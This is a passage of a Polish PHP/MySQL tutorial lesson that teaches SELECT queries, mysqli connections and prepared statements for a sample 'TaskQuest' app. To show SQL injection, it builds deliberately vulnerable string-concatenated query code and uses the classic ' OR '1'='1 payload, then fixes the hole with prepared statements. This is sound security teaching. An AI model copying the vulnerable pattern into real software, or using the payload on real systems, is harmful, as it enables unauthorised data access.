<li>Kama ma <code class="prettyprint lang-sql" style="font-size: 0.85em;">id</code> = 1, Ola ma <code class="prettyprint lang-sql" style="font-size: 0.85em;">id</code> = 2. Która kolumna tabeli <code class="prettyprint lang-sql" style="font-size: 0.85em;">zadania</code> mówi, czyje jest zadanie?</li>



<li>Czym dla bazy różnią się <code class="prettyprint lang-sql" style="font-size: 0.85em;">NULL</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">''</code> i <code class="prettyprint lang-sql" style="font-size: 0.85em;">'NULL'</code>?</li>



<li><code class="prettyprint lang-sql" style="font-size: 0.85em;">diagnostyka.php</code> pokazuje <code class="prettyprint lang-sql" style="font-size: 0.85em;">[OK]</code> przy <code class="prettyprint lang-sql" style="font-size: 0.85em;">mysqli</code>. Czego to jeszcze <strong>nie</strong> gwarantuje?</li>
</ol>



<h1 class="wp-block-heading">1. Wracamy do naszego TaskQuest</h1>



<h3 class="wp-block-heading">Co zostaje, co dochodzi, co zmieniamy</h3>



<figure class="wp-block-table"><table class="has-fixed-layout"><thead><tr><th>Element</th><th>Po Lekcji 17</th><th>Po Lekcji 18</th></tr></thead><tbody><tr><td>baza <code class="prettyprint lang-sql" style="font-size: 0.85em;">taskquest</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">sql/taskquest.sql</code></td><td>istnieje, nieużywana</td><td><strong>zostaje bez zmian</strong> — teraz aplikacja z niej czyta</td></tr><tr><td>klasa <code class="prettyprint lang-sql" style="font-size: 0.85em;">Zadanie</code></td><td>istnieje</td><td><strong>zostaje bez zmian</strong></td></tr><tr><td>klasa <code class="prettyprint lang-sql" style="font-size: 0.85em;">Uzytkownik</code></td><td>bez <code class="prettyprint lang-sql" style="font-size: 0.85em;">id</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">dataOstatniejAktywnosci</code> typu <code class="prettyprint lang-sql" style="font-size: 0.85em;">string</code></td><td><strong>zmiana:</strong> dochodzi <code class="prettyprint lang-sql" style="font-size: 0.85em;">id</code> + <code class="prettyprint lang-sql" style="font-size: 0.85em;">pobierzId()</code>, data jako <code class="prettyprint lang-sql" style="font-size: 0.85em;">?string</code></td></tr><tr><td>symulowane <code class="prettyprint lang-sql" style="font-size: 0.85em;">xp: 99, streak: 5, ...</code> w <code class="prettyprint lang-sql" style="font-size: 0.85em;">index.php</code></td><td>źródło danych gracza</td><td><strong>usuwamy</strong> — dane gracza z tabeli <code class="prettyprint lang-sql" style="font-size: 0.85em;">uzytkownicy</code></td></tr><tr><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">wczytajZadania(PLIK_ZADAN)</code> w <code class="prettyprint lang-sql" style="font-size: 0.85em;">index.php</code></td><td>źródło zadań</td><td><strong>zmiana:</strong> <code class="prettyprint lang-sql" style="font-size: 0.85em;">index.php</code> czyta zadania z bazy; funkcja zostaje (używa jej jeszcze <code class="prettyprint lang-sql" style="font-size: 0.85em;">dodaj-zadanie.php</code>)</td></tr><tr><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">includes/funkcje_bazy.php</code></td><td>nie ma</td><td><strong>dochodzi:</strong> połączenie + 4 funkcje z <code class="prettyprint lang-sql" style="font-size: 0.85em;">SELECT</code></td></tr><tr><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">config/config.php</code></td><td>3 stałe</td><td><strong>dochodzą</strong> 4 stałe z danymi dostępowymi do bazy</td></tr><tr><td>logowanie</td><td>login + imię, każdy login „wchodzi”</td><td><strong>zmiana:</strong> tylko login, musi istnieć w bazie; w sesji tylko <code class="prettyprint lang-sql" style="font-size: 0.85em;">uzytkownik_id</code></td></tr><tr><td>wszystkie funkcje listy (<code class="prettyprint lang-sql" style="font-size: 0.85em;">sortujPoTerminie()</code> itd.), grywalizacji, terminów</td><td>istnieją</td><td><strong>zostają bez zmian</strong></td></tr></tbody></table></figure>



<p class="wp-block-paragraph">Najważniejsza zasada tej lekcji jest ta sama co w Lekcji 17 (sekcja 6): <strong>zmienia się źródło danych, obiekty zostają te same</strong>. Dlatego większość <code class="prettyprint lang-sql" style="font-size: 0.85em;">index.php</code> — liczniki, filtr widoku, pasek XP, lista — nie zmieni się ani o znak.</p>



<h3 class="wp-block-heading">Docelowa struktura projektu</h3>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">taskquest/
├── index.php                        (zmiana: dane z bazy, bez linku „+ Dodaj zadanie”, ranking)
├── dodaj-zadanie.php                bez zmian (nadal CSV; wyłączony z nawigacji do L19)
├── zaloguj.php                      (zmiana: login sprawdzany w bazie, bez pola „imię”)
├── wyloguj.php                      bez zmian
├── diagnostyka.php                  (zmiana: 19 wymaganych plików)
├── classes/
│   ├── Zadanie.php                  bez zmian
│   └── Uzytkownik.php               (zmiana: id, ?string)
├── config/
│   └── config.php                   (zmiana: stałe BAZA_...)
├── includes/
│   ├── footer.php                   (zmiana: „TaskQuest 1.8”)
│   ├── funkcje_bazy.php             NOWY
│   ├── funkcje_sesji.php            (zmiana: czyZalogowany())
│   ├── funkcje_tekstowe.php         (zmiana: walidujDaneLogowania())
│   └── ... pozostałe                bez zmian
├── sql/
│   └── taskquest.sql                bez zmian
└── data/
    └── zadania.csv                  bez zmian (czyta go już tylko dodaj-zadanie.php)</code></pre>



<h3 class="wp-block-heading">Przygotowanie (zrób to teraz)</h3>



<ol class="wp-block-list">
<li>Zrób kopię zapasową katalogu <code class="prettyprint lang-sql" style="font-size: 0.85em;">taskquest/</code> jako <code class="prettyprint lang-sql" style="font-size: 0.85em;">taskquest_lekcja17/</code> (obok, nie w środku).</li>



<li>Uruchom w XAMPP <strong>Apache</strong> i <strong>MySQL</strong>.</li>



<li>W phpMyAdmin uruchom ponownie cały <code class="prettyprint lang-sql" style="font-size: 0.85em;">sql/taskquest.sql</code> (baza <code class="prettyprint lang-sql" style="font-size: 0.85em;">taskquest</code> → zakładka SQL). Zaczynamy od czystych danych testowych.</li>
</ol>



<h1 class="wp-block-heading">2. Problem w aplikacji</h1>



<p class="wp-block-paragraph">Ola loguje się do TaskQuest jako <code class="prettyprint lang-sql" style="font-size: 0.85em;">Ola_TQ</code>. Co widzi?</p>



<figure class="wp-block-table"><table class="has-fixed-layout"><thead><tr><th>Co widzi Ola</th><th>Co jest w bazie dla Oli</th></tr></thead><tbody><tr><td>„Witaj, Ola!”</td><td>imię <code class="prettyprint lang-sql" style="font-size: 0.85em;">Ola</code> <img src="https://s.w.org/images/core/emoji/17.0.2/72x72/2714.png" alt="✔" class="wp-smiley" style="height: 1em; max-height: 1em;" /></td></tr><tr><td>99 XP, poziom 1</td><td><strong>250 XP</strong>, poziom 3</td></tr><tr><td>streak 5</td><td><strong>streak 0</strong></td></tr><tr><td>zadania Kamy z CSV</td><td><strong>jedno własne zadanie</strong> „Zaprojektować bazę TaskQuest”</td></tr></tbody></table></figure>



<p class="wp-block-paragraph">Imię się zgadza tylko dlatego, że Ola sama je wpisała w formularzu. Co więcej, ktoś może się zalogować jako <code class="prettyprint lang-sql" style="font-size: 0.85em;">Nieistniejacy_123</code> — takiego konta nie ma nigdzie, a TaskQuest i tak go wpuści.</p>



<p class="wp-block-paragraph">Potrzebujemy trzech rzeczy:</p>



<ol class="wp-block-list">
<li><strong>połączenia</strong> PHP z bazą,</li>



<li><strong>zapytania</strong>, które zwróci dane jednego konkretnego użytkownika i tylko jego zadania,</li>



<li><strong>bezpiecznego</strong> sposobu wstawienia do zapytania danych z zewnątrz (login wpisany w formularzu, <code class="prettyprint lang-sql" style="font-size: 0.85em;">id</code> z sesji) — bo, jak zaraz zobaczysz, najprostszy sposób jest groźny.</li>
</ol>



<h1 class="wp-block-heading">3. Nowy mechanizm: SELECT i <code class="prettyprint lang-sql" style="font-size: 0.85em;">mysqli</code></h1>



<h2 class="wp-block-heading">3.1 <code class="prettyprint lang-sql" style="font-size: 0.85em;">SELECT</code> — zadajemy bazie pytania (phpMyAdmin)</h2>



<p class="wp-block-paragraph">W Lekcji 17 używaliśmy tylko <code class="prettyprint lang-sql" style="font-size: 0.85em;">SELECT *</code>. Teraz poznamy pełniejszą postać. Otwórz phpMyAdmin → baza <code class="prettyprint lang-sql" style="font-size: 0.85em;">taskquest</code> → zakładka <strong>SQL</strong>. Przed uruchomieniem każdego zapytania <strong>przewidź</strong>, ile wierszy zwróci.</p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">SELECT tytul, termin FROM zadania;
SELECT tytul, termin FROM zadania WHERE uzytkownik_id = 1;
SELECT tytul, termin FROM zadania WHERE uzytkownik_id = 1 AND data_wykonania IS NULL;
SELECT tytul, termin FROM zadania WHERE uzytkownik_id = 1 ORDER BY termin;
SELECT login, xp FROM uzytkownicy ORDER BY xp DESC LIMIT 1;</code></pre>



<figure class="wp-block-table"><table class="has-fixed-layout"><thead><tr><th>Fragment</th><th>Znaczenie</th><th>Odpowiednik w TaskQuest</th></tr></thead><tbody><tr><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">SELECT tytul, termin</code></td><td>które <strong>kolumny</strong> chcemy dostać</td><td>—</td></tr><tr><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">FROM zadania</code></td><td>z której tabeli</td><td>który plik CSV</td></tr><tr><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">WHERE uzytkownik_id = 1</code></td><td>tylko wiersze spełniające warunek</td><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">array_filter()</code> w <code class="prettyprint lang-sql" style="font-size: 0.85em;">pobierzAktywneZadania()</code></td></tr><tr><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">AND</code></td><td>oba warunki muszą być spełnione</td><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">&amp;&amp;</code> w PHP</td></tr><tr><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">IS NULL</code> / <code class="prettyprint lang-sql" style="font-size: 0.85em;">IS NOT NULL</code></td><td>czy wartość jest pusta (<code class="prettyprint lang-sql" style="font-size: 0.85em;">NULL</code>)</td><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">=== null</code> / <code class="prettyprint lang-sql" style="font-size: 0.85em;">!== null</code> w PHP</td></tr><tr><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">ORDER BY termin</code></td><td>sortowanie rosnące (domyślnie <code class="prettyprint lang-sql" style="font-size: 0.85em;">ASC</code>)</td><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">sortujPoTerminie()</code></td></tr><tr><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">ORDER BY xp DESC</code></td><td>sortowanie malejące</td><td>—</td></tr><tr><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">LIMIT 1</code></td><td>najwyżej tyle wierszy</td><td>—</td></tr></tbody></table></figure>



<p class="wp-block-paragraph">Kolejność części jest stała: <code class="prettyprint lang-sql" style="font-size: 0.85em;">SELECT ... FROM ... WHERE ... ORDER BY ... LIMIT ...</code>. Zamiana miejscami daje błąd składni.</p>



<p class="wp-block-paragraph"><strong>Dlaczego wymieniamy kolumny zamiast <code class="prettyprint lang-sql" style="font-size: 0.85em;">*</code>?</strong> Pobieramy tylko to, czego potrzebujemy. W tabeli <code class="prettyprint lang-sql" style="font-size: 0.85em;">uzytkownicy</code> jest kolumna <code class="prettyprint lang-sql" style="font-size: 0.85em;">haslo_hash</code> — od Lekcji 19 będzie w niej skrót hasła. <code class="prettyprint lang-sql" style="font-size: 0.85em;">SELECT *</code> przy wyświetlaniu rankingu przeciągnąłby go do PHP zupełnie niepotrzebnie.</p>



<p class="wp-block-paragraph"><strong>Pułapka:</strong> sprawdź teraz</p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">SELECT tytul FROM zadania WHERE data_wykonania = NULL;</code></pre>



<p class="wp-block-paragraph">Wynik: <strong>zero wierszy, bez błędu</strong>, choć niewykonane zadania istnieją. <code class="prettyprint lang-sql" style="font-size: 0.85em;">NULL</code> oznacza „nie wiadomo”, a „czy nie wiadomo jest równe nie wiadomo?” daje w SQL odpowiedź „nie wiadomo”, czyli nie „prawda”. Do <code class="prettyprint lang-sql" style="font-size: 0.85em;">NULL</code> używamy <strong>tylko</strong> <code class="prettyprint lang-sql" style="font-size: 0.85em;">IS NULL</code> / <code class="prettyprint lang-sql" style="font-size: 0.85em;">IS NOT NULL</code>. To jeden z najczęstszych błędów początkujących, bo baza nic nie zgłasza.</p>



<h2 class="wp-block-heading">3.2 Połączenie z bazą w PHP</h2>



<p class="wp-block-paragraph">W katalogu <code class="prettyprint lang-sql" style="font-size: 0.85em;">taskquest/</code> utwórz <code class="prettyprint lang-sql" style="font-size: 0.85em;">brudnopis.php</code>:</p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;?php

mysqli_report(MYSQLI_REPORT_ERROR | MYSQLI_REPORT_STRICT);

$polaczenie = new mysqli('localhost', 'root', '', 'taskquest');
$polaczenie-&gt;set_charset('utf8mb4');

echo 'Połączono. Serwer: ' . $polaczenie-&gt;server_info;</code></pre>



<p class="wp-block-paragraph">Uruchom <code class="prettyprint lang-sql" style="font-size: 0.85em;">http://localhost/taskquest/brudnopis.php</code>.</p>



<figure class="wp-block-table"><table class="has-fixed-layout"><thead><tr><th>Linia</th><th>Po co</th></tr></thead><tbody><tr><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">mysqli_report(...)</code></td><td>ustawia, jak <code class="prettyprint lang-sql" style="font-size: 0.85em;">mysqli</code> zgłasza błędy: <code class="prettyprint lang-sql" style="font-size: 0.85em;">MYSQLI_REPORT_ERROR</code> — zgłaszaj błędy, <code class="prettyprint lang-sql" style="font-size: 0.85em;">MYSQLI_REPORT_STRICT</code> — <strong>jako wyjątki</strong>. Od PHP 8.1 to ustawienie domyślne, ale piszemy je jawnie: kod nie zależy od wersji PHP, a czytający od razu wie, czego się spodziewać</td></tr><tr><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">new mysqli(host, użytkownik, hasło, baza)</code></td><td>tworzy <strong>obiekt połączenia</strong> (klasa <code class="prettyprint lang-sql" style="font-size: 0.85em;">mysqli</code>, tak jak od Lekcji 15 tworzysz <code class="prettyprint lang-sql" style="font-size: 0.85em;">new Zadanie(...)</code>). XAMPP ma domyślnie użytkownika <code class="prettyprint lang-sql" style="font-size: 0.85em;">root</code> bez hasła</td></tr><tr><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">set_charset('utf8mb4')</code></td><td>PHP i baza umawiają się na kodowanie znaków. Bez tego polskie litery i emoji mogą przychodzić zniekształcone — zależnie od ustawień serwera</td></tr><tr><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">$polaczenie-&gt;server_info</code></td><td>właściwość obiektu: wersja serwera. Tu tylko dowód, że połączenie działa</td></tr></tbody></table></figure>



<p class="wp-block-paragraph">Teraz zmień nazwę bazy na <code class="prettyprint lang-sql" style="font-size: 0.85em;">taskquestt</code> i uruchom ponownie. Zobaczysz <code class="prettyprint lang-sql" style="font-size: 0.85em;">Fatal error: Uncaught mysqli_sql_exception: Unknown database 'taskquestt'</code>. To znany Ci mechanizm z Lekcji 12: <strong>wyjątek</strong>, którego nikt nie złapał. <code class="prettyprint lang-sql" style="font-size: 0.85em;">mysqli_sql_exception</code> to klasa wyjątku z rozszerzenia <code class="prettyprint lang-sql" style="font-size: 0.85em;">mysqli</code>; jest rodzajem <code class="prettyprint lang-sql" style="font-size: 0.85em;">Exception</code>, więc złapie go zwykłe <code class="prettyprint lang-sql" style="font-size: 0.85em;">catch (Exception $wyjatek)</code>. Przywróć nazwę <code class="prettyprint lang-sql" style="font-size: 0.85em;">taskquest</code>.</p>



<blockquote class="wp-block-quote is-layout-flow wp-block-quote-is-layout-flow">
<p class="wp-block-paragraph">Połączenie zamyka się samo, gdy skrypt się kończy. Można je zamknąć wcześniej: <code class="prettyprint lang-sql" style="font-size: 0.85em;">$polaczenie-&gt;close();</code>. W TaskQuest jedno żądanie = jedno krótkie połączenie, więc zostawiamy to PHP.</p>
</blockquote>



<h2 class="wp-block-heading">3.3 Pierwsze zapytanie z PHP</h2>



<p class="wp-block-paragraph">Dopisz do brudnopisu:</p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">$wynik = $polaczenie-&gt;query('SELECT id, login, imie, xp FROM uzytkownicy');

echo '&lt;p&gt;Liczba użytkowników: ' . $wynik-&gt;num_rows . '&lt;/p&gt;';

while ($wiersz = $wynik-&gt;fetch_assoc()) {
    echo "&lt;p&gt;{$wiersz&#91;'id']}. {$wiersz&#91;'login']} ({$wiersz&#91;'imie']}) — {$wiersz&#91;'xp']} XP&lt;/p&gt;";
}</code></pre>



<p class="wp-block-paragraph">Po drodze powstają <strong>trzy różne rzeczy</strong>:</p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">$polaczenie  (obiekt mysqli)        ──query()──►  $wynik  (obiekt mysqli_result)
$wynik                              ──fetch_assoc()──►  $wiersz  (tablica asocjacyjna, klucze = nazwy kolumn)
                                                        albo null, gdy wiersze się skończyły</code></pre>



<ul class="wp-block-list">
<li><code class="prettyprint lang-sql" style="font-size: 0.85em;">query()</code> wysyła zapytanie i zwraca <strong>wynik</strong> — coś w rodzaju otwartego pliku CSV, z którego czytamy wiersz po wierszu.</li>



<li><code class="prettyprint lang-sql" style="font-size: 0.85em;">fetch_assoc()</code> zwraca <strong>kolejny</strong> wiersz, a po ostatnim zwraca <code class="prettyprint lang-sql" style="font-size: 0.85em;">null</code>. Dlatego <code class="prettyprint lang-sql" style="font-size: 0.85em;">while ($wiersz = $wynik-&gt;fetch_assoc())</code> działa jak pętla po <code class="prettyprint lang-sql" style="font-size: 0.85em;">fgetcsv()</code> z Lekcji 11: przypisz, sprawdź, powtarzaj.</li>



<li><code class="prettyprint lang-sql" style="font-size: 0.85em;">num_rows</code> — liczba wierszy wyniku.</li>
</ul>



<p class="wp-block-paragraph">Dopisz na końcu brudnopisu i <strong>przewidź</strong>, co pokaże:</p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">$wynik = $polaczenie-&gt;query('SELECT id, xp, data_ostatniej_aktywnosci FROM uzytkownicy');
var_dump($wynik-&gt;fetch_assoc());
var_dump($wynik-&gt;fetch_assoc());
var_dump($wynik-&gt;fetch_assoc());</code></pre>



<p class="wp-block-paragraph">Wynik: <code class="prettyprint lang-sql" style="font-size: 0.85em;">id</code> i <code class="prettyprint lang-sql" style="font-size: 0.85em;">xp</code> przyszły jako <strong>teksty</strong> (<code class="prettyprint lang-sql" style="font-size: 0.85em;">string(1) "1"</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">string(2) "99"</code>), data jako tekst <code class="prettyprint lang-sql" style="font-size: 0.85em;">"2026-09-14"</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">NULL</code> u Oli jako PHP-owe <code class="prettyprint lang-sql" style="font-size: 0.85em;">null</code>, a trzecie wywołanie zwraca <code class="prettyprint lang-sql" style="font-size: 0.85em;">null</code> (użytkowników jest dwóch). Zapamiętaj te teksty — w 3.5 zobaczysz różnicę.</p>



<h2 class="wp-block-heading">3.4 Dane od użytkownika w zapytaniu — i dlaczego tak NIE robimy</h2>



<p class="wp-block-paragraph">TaskQuest musi znaleźć użytkownika po loginie wpisanym w formularzu. Najprostszy pomysł: wkleić login do tekstu zapytania. Zastąp zawartość brudnopisu:</p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;?php

mysqli_report(MYSQLI_REPORT_ERROR | MYSQLI_REPORT_STRICT);
$polaczenie = new mysqli('localhost', 'root', '', 'taskquest');
$polaczenie-&gt;set_charset('utf8mb4');

// ŹLE — wyłącznie do tej demonstracji!
$login = $_GET&#91;'login'] ?? '';
$sql = "SELECT id, login, xp FROM uzytkownicy WHERE login = '$login'";

echo "&lt;p&gt;Zapytanie: $sql&lt;/p&gt;";

$wynik = $polaczenie-&gt;query($sql);
echo "&lt;p&gt;Znaleziono: {$wynik-&gt;num_rows}&lt;/p&gt;";

while ($wiersz = $wynik-&gt;fetch_assoc()) {
    echo "&lt;p&gt;{$wiersz&#91;'login']} — {$wiersz&#91;'xp']} XP&lt;/p&gt;";
}</code></pre>



<p class="wp-block-paragraph">Uruchamiaj po kolei i za każdym razem czytaj linię „Zapytanie: &#8230;”:</p>



<figure class="wp-block-table"><table class="has-fixed-layout"><thead><tr><th>Adres</th><th>Wynik</th><th>Co się stało</th></tr></thead><tbody><tr><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">brudnopis.php?login=Ola_TQ</code></td><td>1 wiersz</td><td>działa</td></tr><tr><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">brudnopis.php?login=Nowy_1</code></td><td>0 wierszy</td><td>działa</td></tr><tr><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">brudnopis.php?login=O'Neil</code></td><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">Fatal error: Uncaught mysqli_sql_exception: You have an error in your SQL syntax...</code></td><td>apostrof z loginu <strong>zamknął</strong> tekst w SQL za wcześnie</td></tr><tr><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">brudnopis.php?login=' OR '1'='1</code></td><td><strong>2 wiersze — wszyscy użytkownicy</strong></td><td>patrz niżej</td></tr></tbody></table></figure>



<p class="wp-block-paragraph">Spójrz na ostatnie zapytanie:</p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">SELECT id, login, xp FROM uzytkownicy WHERE login = '' OR '1'='1'</code></pre>



<p class="wp-block-paragraph">Tekst wpisany przez użytkownika <strong>stał się częścią polecenia SQL</strong>. Warunek <code class="prettyprint lang-sql" style="font-size: 0.85em;">'1'='1'</code> jest zawsze prawdziwy, więc zapytanie zwraca wszystkich. To <strong>SQL injection</strong> (wstrzykiwanie SQL) — od lat jedna z najczęściej wykorzystywanych podatności aplikacji webowych. Tą samą metodą da się ominąć logowanie albo wyciągnąć dane z innych tabel.</p>



<p class="wp-block-paragraph">Ktoś powie: „przecież <code class="prettyprint lang-sql" style="font-size: 0.85em;">walidujLogin()</code> nie przepuści apostrofu”. To prawda — dla loginu. Ale wyszukiwarka zadań (zadanie końcowe A) musi przyjąć dowolny tekst, a opis zadania może zawierać apostrof. <strong>Walidacja to pierwsza linia obrony, a zapytanie ma być bezpieczne samo z siebie.</strong></p>



<blockquote class="wp-block-quote is-layout-flow wp-block-quote-is-layout-flow">
<p class="wp-block-paragraph">Testuj takie rzeczy wyłącznie na własnej, lokalnej bazie. Próba włamania do cudzego systemu jest przestępstwem.</p>
</blockquote>



<h2 class="wp-block-heading">3.5 Prepared statements — dane osobno, polecenie osobno</h2>



<p class="wp-block-paragraph">Problem wziął się z tego, że polecenie i dane zostały sklejone w jeden tekst. <strong>Prepared statement</strong> (zapytanie przygotowane) rozdziela je:</p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">1. prepare()     wysyłamy SZABLON polecenia:  ... WHERE login = ?
                 baza analizuje go i zapamiętuje — to jest już gotowe polecenie
2. bind_param()  podpinamy dane pod znak ?
3. execute()     wysyłamy dane osobno; baza wstawia je jako WARTOŚĆ, nigdy jako kod
4. get_result()  odbieramy wynik — dalej jak w 3.3 (fetch_assoc())</code></pre>



<p class="wp-block-paragraph">Cokolwiek wpisze użytkownik, baza porówna to z loginem jako zwykły tekst. <code class="prettyprint lang-sql" style="font-size: 0.85em;">' OR '1'='1</code> to po prostu dziwny login, którego nikt nie ma.</p>



<p class="wp-block-paragraph">Zamień w brudnopisie część od <code class="prettyprint lang-sql" style="font-size: 0.85em;">// ŹLE</code> do końca na:</p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">$login = $_GET&#91;'login'] ?? '';

$zapytanie = $polaczenie-&gt;prepare('SELECT id, login, xp FROM uzytkownicy WHERE login = ?');
$zapytanie-&gt;bind_param('s', $login);
$zapytanie-&gt;execute();
$wynik = $zapytanie-&gt;get_result();

echo "&lt;p&gt;Znaleziono: {$wynik-&gt;num_rows}&lt;/p&gt;";

while ($wiersz = $wynik-&gt;fetch_assoc()) {
    var_dump($wiersz);
}</code></pre>



<p class="wp-block-paragraph"><code class="prettyprint lang-sql" style="font-size: 0.85em;">bind_param()</code> ma dwa rodzaje argumentów:</p>



<ul class="wp-block-list">
<li><strong>tekst z typami</strong> — po jednej literze na każdy <code class="prettyprint lang-sql" style="font-size: 0.85em;">?</code>, w tej samej kolejności: <code class="prettyprint lang-sql" style="font-size: 0.85em;">s</code> — tekst (<em>string</em>), <code class="prettyprint lang-sql" style="font-size: 0.85em;">i</code> — liczba całkowita (<em>integer</em>), <code class="prettyprint lang-sql" style="font-size: 0.85em;">d</code> — liczba z przecinkiem (<em>double</em>),</li>



<li><strong>zmienne</strong> z wartościami, w tej samej kolejności co znaki <code class="prettyprint lang-sql" style="font-size: 0.85em;">?</code>.</li>
</ul>



<p class="wp-block-paragraph">Przykład z dwoma parametrami: <code class="prettyprint lang-sql" style="font-size: 0.85em;">WHERE uzytkownik_id = ? AND tytul = ?</code> → <code class="prettyprint lang-sql" style="font-size: 0.85em;">bind_param('is', $uzytkownikId, $tytul)</code>.</p>



<p class="wp-block-paragraph">Powtórz cztery adresy z tabeli w 3.4. Oczekiwane: <code class="prettyprint lang-sql" style="font-size: 0.85em;">Ola_TQ</code> → 1, <code class="prettyprint lang-sql" style="font-size: 0.85em;">Nowy_1</code> → 0, <code class="prettyprint lang-sql" style="font-size: 0.85em;">O'Neil</code> → <strong>0, bez błędu</strong>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">' OR '1'='1</code> → <strong>0</strong>.</p>



<p class="wp-block-paragraph">Teraz spójrz na <code class="prettyprint lang-sql" style="font-size: 0.85em;">var_dump</code> przy <code class="prettyprint lang-sql" style="font-size: 0.85em;">Ola_TQ</code>: <code class="prettyprint lang-sql" style="font-size: 0.85em;">["id"]=&gt; int(2)</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">["xp"]=&gt; int(250)</code>. W 3.3 były teksty, tu są <strong>liczby</strong>. Prepared statements przesyłają wynik w innym formacie (tzw. protokół binarny) i <code class="prettyprint lang-sql" style="font-size: 0.85em;">mysqli</code> zamienia kolumny <code class="prettyprint lang-sql" style="font-size: 0.85em;">INT</code> na PHP-owe <code class="prettyprint lang-sql" style="font-size: 0.85em;">int</code>. Daty (<code class="prettyprint lang-sql" style="font-size: 0.85em;">DATE</code>) nadal przychodzą jako tekst <code class="prettyprint lang-sql" style="font-size: 0.85em;">RRRR-MM-DD</code>, a <code class="prettyprint lang-sql" style="font-size: 0.85em;">NULL</code> jako <code class="prettyprint lang-sql" style="font-size: 0.85em;">null</code>. Dla TaskQuest to wygodne: typy pasują do właściwości <code class="prettyprint lang-sql" style="font-size: 0.85em;">Zadanie</code> i <code class="prettyprint lang-sql" style="font-size: 0.85em;">Uzytkownik</code>.</p>



<blockquote class="wp-block-quote is-layout-flow wp-block-quote-is-layout-flow">
<p class="wp-block-paragraph"><strong>Zasada TaskQuest od dziś:</strong> każde zapytanie, w którym jest <strong>jakakolwiek</strong> wartość z zewnątrz (formularz, adres, cookie, sesja), piszemy jako prepared statement. Sklejanie SQL ze zmiennymi (<code class="prettyprint lang-sql" style="font-size: 0.85em;">"... '$login'"</code>) jest zakazane. <code class="prettyprint lang-sql" style="font-size: 0.85em;">query()</code> zostaje tylko dla zapytań bez żadnych zmiennych — a dla porządku i tak w TaskQuest ich nie używamy.</p>
</blockquote>



<h3 class="wp-block-heading">Typowe błędy</h3>



<figure class="wp-block-table"><table class="has-fixed-layout"><thead><tr><th>Błąd</th><th>Skutek</th></tr></thead><tbody><tr><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">WHERE login = '?'</code> (znak zapytania w apostrofach)</td><td>to już nie parametr, tylko tekst „?”; <code class="prettyprint lang-sql" style="font-size: 0.85em;">bind_param()</code> zgłasza błąd o niezgodnej liczbie parametrów</td></tr><tr><td>liczba liter w typach ≠ liczba <code class="prettyprint lang-sql" style="font-size: 0.85em;">?</code></td><td>błąd o niezgodnej liczbie parametrów</td></tr><tr><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">bind_param('i', 5)</code> — wartość zamiast zmiennej</td><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">Error</code>: argumentu nie da się przekazać przez referencję. <code class="prettyprint lang-sql" style="font-size: 0.85em;">bind_param()</code> wymaga <strong>zmiennych</strong></td></tr><tr><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">$zapytanie-&gt;fetch_assoc()</code> bez <code class="prettyprint lang-sql" style="font-size: 0.85em;">get_result()</code></td><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">Error</code>: taka metoda nie istnieje. <code class="prettyprint lang-sql" style="font-size: 0.85em;">fetch_assoc()</code> ma <strong>wynik</strong>, nie zapytanie</td></tr><tr><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">WHERE data_wykonania = NULL</code></td><td>zawsze 0 wierszy, bez błędu 